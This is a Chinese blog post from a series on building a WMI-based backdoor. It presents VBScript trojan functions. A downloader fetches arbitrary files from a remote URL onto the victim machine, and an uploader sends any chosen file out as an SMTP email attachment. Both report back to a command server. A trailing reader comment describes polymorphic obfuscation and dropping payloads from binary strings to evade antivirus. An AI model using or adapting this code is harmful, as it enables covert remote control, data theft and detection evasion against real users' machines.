标题: 利用WMI打造完美“三无”后门-Downloader and Uploader
作者: Demon
链接: https://demon.tw/copy-paste/vbs-wmi-trojan-5.html
版权: 本博客的所有文章,都遵守“署名-非商业性使用-相同方式共享 2.5 中国大陆”协议条款。
Welcome!各位ScriptKid,欢迎来到脚本世界。
终于到周末。可以多陪陪家人,玩玩游戏,研究研究自己感兴趣的东西了。
今天继续的是两个很简单的功能,下载指定文件到目标机器与获取目标机器任意文件。
直接来看示例代码。
Downloader
Function DownLoadFile Set Http=CreateObject("WinHttp.WinHttpRequest.5.1") //想绕过防火墙请使用InternetExplorer.Application SplitCmd=Split(CmdText,"|") //分离命令参数。命令格式是:命令号|远程URL|本地文件|超时时间 If UBound(SplitCmd)<3 Then //简单判断命令格式是否合法 Http.Open "GET","http://"&CmdServer&"/"&ServerPath&"/out.asp?cmdresult=Command Error!&macaddress="&CmdFile,True Http.send Exit Function End If Url=SplitCmd(1) //提取URL LocalFile=SplitCmd(2) //提取本地文件路径 TimeOut=SplitCmd(3) //提取超时时间 Http.Open "GET",Url,False Http.Send If Http.Status>299 OR Not Http.WaitForResponse(Timeout) Then //如果返回码>299或者超时 Http.Open "GET","http://"&CmdServer&"/"&ServerPath&"/out.asp?cmdresult=File DownLoad Error!&macaddress=""&CmdFile,True Http.send Else fso.CreateTextFile(LocalFile) //写入本地文件 ASO.open:ASO.loadfromfile LocalFile ASO.position=0 ASO.type=1 ASO.Write Http.ResponseBody ASO.SaveToFile LocalFile,2 ASO.close Http.Open "GET","http://"&CmdServer&"/"&ServerPath&"/out.asp?cmdresult=File DownLoad Success!&macaddress="&CmdFile,True Http.send End If End Function
Uploader
这里用的是邮件附件的方式发送我们指定的任意文件。不是最好的方式。不过顺便也当介绍一下如何用vbs发送邮件(支持SSL)
Function SendFile GetFileName=Mid(Trim(CmdText),9,Len(Trim(CmdText))-8) //另一种比较土的分离命令参数方法。命令格式:getfile|文件绝对路径 Set Email = CreateObject("CDO.Message") //创建CDO.Message对象 NameSpace = "http://schemas.microsoft.com/cdo/configuration/" //指定名称空间。 Email.From = "scriptkidstest@gmail.com" //发信信箱 Email.To = "scriptkidstest@gmail.com" //收信信箱 Email.Subject = "File That You Want-"&CmdFile&"-"&GetFileName //邮件主题 Email.Textbody = "File That You Want" //邮件内容 Email.AddAttachment GetFileName,true //附上我们指定的文件 With Email.Configuration.Fields //设定发送邮件的参数 .Item(NameSpace&"sendusing") = 2 //cdoSendUsingPort .Item(NameSpace&"smtpserver") = "smtp.gmail.com" //smtp服务器 .Item(NameSpace&"smtpserverport") = 465 //smtp端口。Gmail是465 .Item(NameSpace&"smtpusessl") = true //Gmail使用的是ssl .Item(NameSpace&"smtpauthenticate") = 1 //认证方式。basic .Item(NameSpace&"sendusername") = "scriptkidstest@gmail.com" //登录smtp的用户名 .Item(NameSpace&"sendpassword") = "lalalalalaooolll" //密码,不用试了肯定不对^0^ .Update //更新配置 End With Email.Send Http.Open "GET","http://"&CmdServer&"/"&ServerPath&"/out.asp?cmdresult=File Has Been Sended!&macaddress="&CmdFile,true //嘿!已经发过去了,赶紧收信吧 Http.send End Function
昨天陪MM去看了《绿巨人2》,还可以。最后最搞的是那个史塔克工业的花花公子老板,传说中的钢铁侠出场了。。。难道最后是《钢铁侠大战绿巨人》=。=
明天给大家带来最后的《利用WMI打造完美“三无”后门-终焉》
原文链接:利用WMI打造完美“三无”后门-Downloader and Uploader
赞赏微信赞赏支付宝赞赏
随机文章:
对于这样的一个VBS,应该还具有多态功能
目前我见到公开过的多态功能有:
1、VBS字符大小写随机发生
2、变量名随机字符串替换,这个最早在CVC论坛的花猫提供过一个多态引擎
3、使用EXECUTE执行
4、纯洁执法者VBS病毒里使用的函数随机多态变形
对于Downloader和Uploader个人觉得比较好的方法是在母体VBS里分离处D.VBS和U.VBS。母体VBS里包含功能的二进制字符串,使用二进制写文件功能在本机单独生成可以传到参数的D.VBS和U.VBS。毕竟这两个功能单一。
这样又回到了多态变形,因为Downloader常用函数已被杀软杀光。所以母体里使用二进制字符串,提高了母体存活性。即使杀软解密了多态引擎,那么,杀掉的,也只是你分离的D.VBS而已。
我还见过另外两种:
1、随机添加对代码没有影响的字符串和变量名
2、利用On Error Resume Next除错来Execute一堆加密变形后的代码
我对写病毒不感兴趣,所以对免杀没什么研究。而且貌似有些垃圾杀毒软件(360)只要是VBS脚本就警告是木马,即使只是MsgBox “Hello world”。